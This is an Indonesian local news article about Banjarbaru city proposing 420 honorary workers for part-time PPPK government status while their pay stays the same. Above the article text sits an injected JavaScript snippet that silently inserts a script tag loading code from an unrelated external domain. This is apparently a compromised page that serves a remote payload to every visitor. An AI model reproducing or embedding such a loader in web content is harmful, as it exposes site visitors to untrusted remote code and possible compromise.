(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 420 tenaga honorer di lingkungan Pemko Banjarbaru telah diusulkan masuk dalam formasi Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) paruh waktu ke Badan Kepegawaian Negara (BKN).
Ratusan tenaga honorer ini merupakan pegawai BLUD dan BOS, sebelumnya tidak masuk dalam formasi PPPK paruh waktu. Honorer ini memiliki penggajian tersendiri dari dana pemerintah.
Tenaga Ahli Wali Kota Banjarbaru Bidang Sumber Daya Manusia (SDM) dan Birokrasi Pemerintahan, Wahyuddin menjelaskan, bahwa Wali Kota Banjarbaru telah mengusulkan nama-nama yang memenuhi syarat untuk ditingkatkan statusnya menjadi PPPK paruh waktu.
“Seluruhnya kita usulkan yang memenuhi syarat. Sedangkan mereka yang tidak ikut tes dan mereka yang ikut tes CPNS tidak bisa kita usulkan lagi,
karena kriteria yang ada di Kemen PAN tidak membutuhkan untuk memasukkan itu,” ujar Wahyuddin saat diwawancarai awak media.
Baca juga: Januari-September 85 Kasus Laka Lantas di Banjarmasin, 15 Meninggal Dunia
Ratusan honorer yang sudah mengikuti tes dan masuk database seluruhnya telah diusulkan. Mereka hanya ditingkatkan statusnya dari honorer menjadi PPPK paruh waktu
Namun, Wahyuddin menjelaskan jika gaji yang akan diberikan kepada PPPK paruh waktu tetap sama dengan gaji mereka saat menjadi honorer.
“Jadi ada NIP-nya. Sehingga mereka bukan honorer lagi. Sedangkan gajinya masih tetap memakai gaji lama,” sebut dia.
Tapi secara bertahap setiap tahun sambung dia, Pemerintah Kota Banjarbaru akan menjadikan PPPK paruh waktu itu menjadi PPPK penuh.
Baca juga: Wabul Sawi Festival Siap Datangkan Penulis dan Pegiat Sastra
“Tergantung kepada jumlah yang pensiun nanti, jadi bergantian,” sambungnya.
Dengan pengusulan ratusan honorer tersebut katanya Pemerintah Kota Banjarbaru menganggap peningkatan status mereka juga telah disetujui.
“Karena sampai bulan Desember tenggat waktunya. Jadi ada 420 orang dan gajinya sudah ada anggarannya dari tahun-tahun sebelumnya sudah dianggarkan.
Jadi kita tidak merubah gaji, tetap gajinya tidak berubah,” tuntasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.